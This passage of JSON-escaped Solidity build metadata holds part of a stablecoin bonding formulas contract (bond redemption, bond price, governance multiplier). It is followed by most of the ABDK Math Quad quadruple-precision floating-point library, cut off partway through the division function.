_targetPrice , target uAD price\\n /// @return _uLP , amount of LP tokens\\n /// @notice _uLP = _uBOND * _currentShareValue / _targetPrice\\n // _uLP = A * V / T\\n function redeemBonds(\\n uint256 _uBOND,\\n uint256 _currentShareValue,\\n uint256 _targetPrice\\n ) public pure returns (uint256 _uLP) {\\n bytes16 a = _uBOND.fromUInt();\\n bytes16 v = _currentShareValue.fromUInt();\\n bytes16 t = _targetPrice.fromUInt();\\n\\n _uLP = a.mul(v).div(t).toUInt();\\n }\\n\\n /// @dev formula bond price\\n /// @param _totalULP , total LP tokens\\n /// @param _totalUBOND , total bond shares\\n /// @param _targetPrice , target uAD price\\n /// @return _priceUBOND , bond share price\\n /// @notice\\n // IF _totalUBOND = 0 priceBOND = TARGET_PRICE\\n // ELSE priceBOND = totalLP / totalShares * TARGET_PRICE\\n // R = T == 0 ? 1 : LP / S\\n // P = R * T\\n function bondPrice(\\n uint256 _totalULP,\\n uint256 _totalUBOND,\\n uint256 _targetPrice\\n ) public pure returns (uint256 _priceUBOND) {\\n bytes16 lp = _totalULP.fromUInt();\\n bytes16 s = _totalUBOND.fromUInt();\\n bytes16 r = _totalUBOND == 0 ? uint256(1).fromUInt() : lp.div(s);\\n bytes16 t = _targetPrice.fromUInt();\\n\\n _priceUBOND = r.mul(t).toUInt();\\n }\\n\\n /// @dev formula ugov multiply\\n /// @param _multiplier , initial ugov min multiplier\\n /// @param _price , current share price\\n /// @return _newMultiplier , new ugov min multiplier\\n /// @notice new_multiplier = multiplier * ( 1.05 / (1 + abs( 1 - price ) ) )\\n // nM = M * C / A\\n // A = ( 1 + abs( 1 - P)))\\n // 5 >= multiplier >= 0.2\\n function ugovMultiply(uint256 _multiplier, uint256 _price)\\n public\\n pure\\n returns (uint256 _newMultiplier)\\n {\\n bytes16 m = _multiplier.fromUInt();\\n bytes16 p = _price.fromUInt();\\n bytes16 c = uint256(105 * 1e16).fromUInt(); // 1.05\\n bytes16 u = uint256(1e18).fromUInt(); // 1\\n bytes16 a = u.add(u.sub(p).abs()); // 1 + abs( 1 - P )\\n\\n _newMultiplier = m.mul(c).div(a).toUInt(); // nM = M * C / A\\n\\n // 5 >= multiplier >= 0.2\\n if (_newMultiplier > 5e18 || _newMultiplier < 2e17)\\n _newMultiplier = _multiplier;\\n }\\n}\\n\",\"keccak256\":\"0xd4c935542af210b909d008d154146d8d1e36afee2f91aa628cd493392232db22\",\"license\":\"MIT\"},\"contracts/libs/ABDKMathQuad.sol\":{\"content\":\"// SPDX-License-Identifier: BSD-4-Clause\\n/*\\n * ABDK Math Quad Smart Contract Library. Copyright \\u00a9 2019 by ABDK Consulting.\\n * Author: Mikhail Vladimirov \\n */\\npragma solidity ^0.8.0;\\n\\n/**\\n * Smart contract library of mathematical functions operating with IEEE 754\\n * quadruple-precision binary floating-point numbers (quadruple precision\\n * numbers). As long as quadruple precision numbers are 16-bytes long, they are\\n * represented by bytes16 type.\\n */\\nlibrary ABDKMathQuad {\\n /*\\n * 0.\\n */\\n bytes16 private constant _POSITIVE_ZERO =\\n 0x00000000000000000000000000000000;\\n\\n /*\\n * -0.\\n */\\n bytes16 private constant _NEGATIVE_ZERO =\\n 0x80000000000000000000000000000000;\\n\\n /*\\n * +Infinity.\\n */\\n bytes16 private constant _POSITIVE_INFINITY =\\n 0x7FFF0000000000000000000000000000;\\n\\n /*\\n * -Infinity.\\n */\\n bytes16 private constant _NEGATIVE_INFINITY =\\n 0xFFFF0000000000000000000000000000;\\n\\n /*\\n * Canonical NaN value.\\n */\\n bytes16 private constant NaN = 0x7FFF8000000000000000000000000000;\\n\\n /**\\n * Convert signed 256-bit integer number into quadruple precision number.\\n *\\n * @param x signed 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromInt(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 256-bit integer number\\n * rounding towards zero. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 256-bit integer number\\n */\\n function toInt(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16638); // Overflow\\n if (exponent < 16383) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert unsigned 256-bit integer number into quadruple precision number.\\n *\\n * @param x unsigned 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromUInt(uint256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n uint256 result = x;\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into unsigned 256-bit integer number\\n * rounding towards zero. Revert on underflow. Note, that negative floating\\n * point numbers in range (-1.0 .. 0.0) may be converted to unsigned integer\\n * without error, because they are rounded to zero.\\n *\\n * @param x quadruple precision number\\n * @return unsigned 256-bit integer number\\n */\\n function toUInt(bytes16 x) internal pure returns (uint256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n if (exponent < 16383) return 0; // Underflow\\n\\n require(uint128(x) < 0x80000000000000000000000000000000); // Negative\\n\\n require(exponent <= 16638); // Overflow\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n return result;\\n }\\n }\\n\\n /**\\n * Convert signed 128.128 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 128.128 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from128x128(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16255 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 128.128 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 128.128 bit fixed point number\\n */\\n function to128x128(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16510); // Overflow\\n if (exponent < 16255) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16367) result >>= 16367 - exponent;\\n else if (exponent > 16367) result <<= exponent - 16367;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert signed 64.64 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 64.64 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from64x64(int128 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint128(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16319 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 64.64 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 64.64 bit fixed point number\\n */\\n function to64x64(bytes16 x) internal pure returns (int128) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16446); // Overflow\\n if (exponent < 16319) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16431) result >>= 16431 - exponent;\\n else if (exponent > 16431) result <<= exponent - 16431;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(result <= 0x80000000000000000000000000000000);\\n return -int128(int256(result)); // We rely on overflow behavior here\\n } else {\\n require(result <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\\n return int128(int256(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert octuple precision number into quadruple precision number.\\n *\\n * @param x octuple precision number\\n * @return quadruple precision number\\n */\\n function fromOctuple(bytes32 x) internal pure returns (bytes16) {\\n unchecked {\\n bool negative =\\n x &\\n 0x8000000000000000000000000000000000000000000000000000000000000000 >\\n 0;\\n\\n uint256 exponent = (uint256(x) >> 236) & 0x7FFFF;\\n uint256 significand =\\n uint256(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFFF) {\\n if (significand > 0) return NaN;\\n else return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n }\\n\\n if (exponent > 278526)\\n return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else if (exponent < 245649)\\n return negative ? _NEGATIVE_ZERO : _POSITIVE_ZERO;\\n else if (exponent < 245761) {\\n significand =\\n (significand |\\n 0x100000000000000000000000000000000000000000000000000000000000) >>\\n (245885 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 124;\\n exponent -= 245760;\\n }\\n\\n uint128 result = uint128(significand | (exponent << 112));\\n if (negative) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(result);\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into octuple precision number.\\n *\\n * @param x quadruple precision number\\n * @return octuple precision number\\n */\\n function toOctuple(bytes16 x) internal pure returns (bytes32) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n uint256 result = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF)\\n exponent = 0x7FFFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (236 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 245649 + msb;\\n }\\n } else {\\n result <<= 124;\\n exponent += 245760;\\n }\\n\\n result |= exponent << 236;\\n if (uint128(x) >= 0x80000000000000000000000000000000)\\n result |= 0x8000000000000000000000000000000000000000000000000000000000000000;\\n\\n return bytes32(result);\\n }\\n }\\n\\n /**\\n * Convert double precision number into quadruple precision number.\\n *\\n * @param x double precision number\\n * @return quadruple precision number\\n */\\n function fromDouble(bytes8 x) internal pure returns (bytes16) {\\n unchecked {\\n uint256 exponent = (uint64(x) >> 52) & 0x7FF;\\n\\n uint256 result = uint64(x) & 0xFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FF)\\n exponent = 0x7FFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (112 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 15309 + msb;\\n }\\n } else {\\n result <<= 60;\\n exponent += 15360;\\n }\\n\\n result |= exponent << 112;\\n if (x & 0x8000000000000000 > 0)\\n result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into double precision number.\\n *\\n * @param x quadruple precision number\\n * @return double precision number\\n */\\n function toDouble(bytes16 x) internal pure returns (bytes8) {\\n unchecked {\\n bool negative = uint128(x) >= 0x80000000000000000000000000000000;\\n\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 significand = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF) {\\n if (significand > 0) return 0x7FF8000000000000;\\n // NaN\\n else\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000); // Infinity\\n }\\n\\n if (exponent > 17406)\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000);\\n // Infinity\\n else if (exponent < 15309)\\n return\\n negative\\n ? bytes8(0x8000000000000000) // -0\\n : bytes8(0x0000000000000000);\\n // 0\\n else if (exponent < 15361) {\\n significand =\\n (significand | 0x10000000000000000000000000000) >>\\n (15421 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 60;\\n exponent -= 15360;\\n }\\n\\n uint64 result = uint64(significand | (exponent << 52));\\n if (negative) result |= 0x8000000000000000;\\n\\n return bytes8(result);\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is NaN.\\n *\\n * @param x quadruple precision number\\n * @return true if x is NaN, false otherwise\\n */\\n function isNaN(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF >\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is positive or negative\\n * infinity.\\n *\\n * @param x quadruple precision number\\n * @return true if x is positive or negative infinity, false otherwise\\n */\\n function isInfinity(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ==\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Calculate sign of x, i.e. -1 if x is negative, 0 if x if zero, and 1 if x\\n * is positive. Note that sign (-0) is zero. Revert if x is NaN.\\n *\\n * @param x quadruple precision number\\n * @return sign of x\\n */\\n function sign(bytes16 x) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n if (absoluteX == 0) return 0;\\n else if (uint128(x) >= 0x80000000000000000000000000000000)\\n return -1;\\n else return 1;\\n }\\n }\\n\\n /**\\n * Calculate sign (x - y). Revert if either argument is NaN, or both\\n * arguments are infinities of the same sign.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return sign (x - y)\\n */\\n function cmp(bytes16 x, bytes16 y) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n uint128 absoluteY = uint128(y) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteY <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n // Not infinities of the same sign\\n require(x != y || absoluteX < 0x7FFF0000000000000000000000000000);\\n\\n if (x == y) return 0;\\n else {\\n bool negativeX =\\n uint128(x) >= 0x80000000000000000000000000000000;\\n bool negativeY =\\n uint128(y) >= 0x80000000000000000000000000000000;\\n\\n if (negativeX) {\\n if (negativeY) return absoluteX > absoluteY ? -1 : int8(1);\\n else return -1;\\n } else {\\n if (negativeY) return 1;\\n else return absoluteX > absoluteY ? int8(1) : -1;\\n }\\n }\\n }\\n }\\n\\n /**\\n * Test whether x equals y. NaN, infinity, and -infinity are not equal to\\n * anything.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return true if x equals to y, false otherwise\\n */\\n function eq(bytes16 x, bytes16 y) internal pure returns (bool) {\\n unchecked {\\n if (x == y) {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF <\\n 0x7FFF0000000000000000000000000000;\\n } else return false;\\n }\\n }\\n\\n /**\\n * Calculate x + y. Special values behave in the following way:\\n *\\n * NaN + x = NaN for any x.\\n * Infinity + x = Infinity for any finite x.\\n * -Infinity + x = -Infinity for any finite x.\\n * Infinity + Infinity = Infinity.\\n * -Infinity + -Infinity = -Infinity.\\n * Infinity + -Infinity = -Infinity + Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function add(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y) return x;\\n else return NaN;\\n } else return x;\\n } else if (yExponent == 0x7FFF) return y;\\n else {\\n bool xSign = uint128(x) >= 0x80000000000000000000000000000000;\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n bool ySign = uint128(y) >= 0x80000000000000000000000000000000;\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0)\\n return y == _NEGATIVE_ZERO ? _POSITIVE_ZERO : y;\\n else if (ySignifier == 0)\\n return x == _NEGATIVE_ZERO ? _POSITIVE_ZERO : x;\\n else {\\n int256 delta = int256(xExponent) - int256(yExponent);\\n\\n if (xSign == ySign) {\\n if (delta > 112) return x;\\n else if (delta > 0) ySignifier >>= uint256(delta);\\n else if (delta < -112) return y;\\n else if (delta < 0) {\\n xSignifier >>= uint256(-delta);\\n xExponent = yExponent;\\n }\\n\\n xSignifier += ySignifier;\\n\\n if (xSignifier >= 0x20000000000000000000000000000) {\\n xSignifier >>= 1;\\n xExponent += 1;\\n }\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else {\\n if (xSignifier < 0x10000000000000000000000000000)\\n xExponent = 0;\\n else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n } else {\\n if (delta > 0) {\\n xSignifier <<= 1;\\n xExponent -= 1;\\n } else if (delta < 0) {\\n ySignifier <<= 1;\\n xExponent = yExponent - 1;\\n }\\n\\n if (delta > 112) ySignifier = 1;\\n else if (delta > 1)\\n ySignifier =\\n ((ySignifier - 1) >> uint256(delta - 1)) +\\n 1;\\n else if (delta < -112) xSignifier = 1;\\n else if (delta < -1)\\n xSignifier =\\n ((xSignifier - 1) >> uint256(-delta - 1)) +\\n 1;\\n\\n if (xSignifier >= ySignifier) xSignifier -= ySignifier;\\n else {\\n xSignifier = ySignifier - xSignifier;\\n xSign = ySign;\\n }\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n uint256 msb = mostSignificantBit(xSignifier);\\n\\n if (msb == 113) {\\n xSignifier =\\n (xSignifier >> 1) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent += 1;\\n } else if (msb < 112) {\\n uint256 shift = 112 - msb;\\n if (xExponent > shift) {\\n xSignifier =\\n (xSignifier << shift) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent -= shift;\\n } else {\\n xSignifier <<= xExponent - 1;\\n xExponent = 0;\\n }\\n } else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate x - y. Special values behave in the following way:\\n *\\n * NaN - x = NaN for any x.\\n * Infinity - x = Infinity for any finite x.\\n * -Infinity - x = -Infinity for any finite x.\\n * Infinity - -Infinity = Infinity.\\n * -Infinity - Infinity = -Infinity.\\n * Infinity - Infinity = -Infinity - -Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function sub(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {return add(x, y ^ 0x80000000000000000000000000000000);}\\n }\\n\\n /**\\n * Calculate x * y. Special values behave in the following way:\\n *\\n * NaN * x = NaN for any x.\\n * Infinity * x = Infinity for any finite positive x.\\n * Infinity * x = -Infinity for any finite negative x.\\n * -Infinity * x = -Infinity for any finite positive x.\\n * -Infinity * x = Infinity for any finite negative x.\\n * Infinity * 0 = NaN.\\n * -Infinity * 0 = NaN.\\n * Infinity * Infinity = Infinity.\\n * Infinity * -Infinity = -Infinity.\\n * -Infinity * Infinity = -Infinity.\\n * -Infinity * -Infinity = Infinity.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function mul(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y)\\n return x ^ (y & 0x80000000000000000000000000000000);\\n else if (x ^ y == 0x80000000000000000000000000000000)\\n return x | y;\\n else return NaN;\\n } else {\\n if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n }\\n } else if (yExponent == 0x7FFF) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return y ^ (x & 0x80000000000000000000000000000000);\\n } else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n xSignifier *= ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n xExponent += yExponent;\\n\\n uint256 msb =\\n xSignifier >=\\n 0x200000000000000000000000000000000000000000000000000000000\\n ? 225\\n : xSignifier >=\\n 0x100000000000000000000000000000000000000000000000000000000\\n ? 224\\n : mostSignificantBit(xSignifier);\\n\\n if (xExponent + msb < 16496) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb < 16608) {\\n // Subnormal\\n if (xExponent < 16496) xSignifier >>= 16496 - xExponent;\\n else if (xExponent > 16496)\\n xSignifier <<= xExponent - 16496;\\n xExponent = 0;\\n } else if (xExponent + msb > 49373) {\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else {\\n if (msb > 112) xSignifier >>= msb - 112;\\n else if (msb < 112) xSignifier <<= 112 - msb;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb - 16607;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate x / y. Special values behave in the following way:\\n *\\n * NaN / x = NaN for any x.\\n * x / NaN = NaN for any x.\\n * Infinity / x = Infinity for any finite non-negative x.\\n * Infinity / x = -Infinity for any finite negative x including -0.\\n * -Infinity / x = -Infinity for any finite non-negative x.\\n * -Infinity / x = Infinity for any finite negative x including -0.\\n * x / Infinity = 0 for any finite non-negative x.\\n * x / -Infinity = -0 for any finite non-negative x.\\n * x / Infinity = -0 for any finite non-negative x including -0.\\n * x / -Infinity = 0 for any finite non-negative x including -0.\\n *\\n * Infinity / Infinity = NaN.\\n * Infinity / -Infinity = -NaN.\\n * -Infinity / Infinity = -NaN.\\n * -Infinity / -Infinity = NaN.\\n *\\n * Division by zero behaves in the following way:\\n *\\n * x / 0 = Infinity for any finite positive x.\\n * x / -0 = -Infinity for any finite positive x.\\n * x / 0 = -Infinity for any finite negative x.\\n * x / -0 = Infinity for any finite negative x.\\n * 0 / 0 = NaN.\\n * 0 / -0 = NaN.\\n * -0 / 0 = NaN.\\n * -0 / -0 = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function div(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n } else if (yExponent == 0x7FFF) {\\n if (y & 0x0000FFFFFFFFFFFFFFFFFFFFFFFFFFFF != 0) return NaN;\\n else\\n return\\n _POSITIVE_ZERO |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else\\n return\\n _POSITIVE_INFINITY |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else {\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) {\\n if (xSignifier != 0) {\\n uint256 shift = 226 - mostSignificantBit(xSignifier);\\n\\n xSignifier <<= shift;\\n\\n xExponent = 1;\\n yExponent += shift - 114;\\n }\\n } else {\\n xSignifier =\\n (xSignifier | 0x10000000000000000000000000000) <<\\n 114;\\n }\\n\\n xSignifier = xSignifier / ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n assert(xSignifier >= 0x1000000000000000000000000000);\\n\\n uint256 msb =\\n xSignifier >= 0x80000000000000000000000000000\\n ? mostSignificantBit(xSignifier)\\n : xSignifier >= 0x40000000000000000000000000000\\n ? 114\\n : xSignifier >= 0x20000000000000000000000000000\\n ? 113\\n : 112;\\n\\n if (xExponent + msb > yExponent + 16497) {\\n // Overflow\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16380 < yExponent) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16268 < yExponent) {\\n // Subnormal\\n if (xExponent + 16380 > yExponent)\\n xSignifier <<= xExponent + 16380 - yExponent;\\n else if (xExponent + 16380 < yExponent)\\n xSignifier >>= yExponent - xExponent - 16380;\\n\\n xExponent = 0;\\n } else {\\n // Normal\\n if (msb > 112) xSignifier >>= msb - 112;\\n\\n xSignifier &= 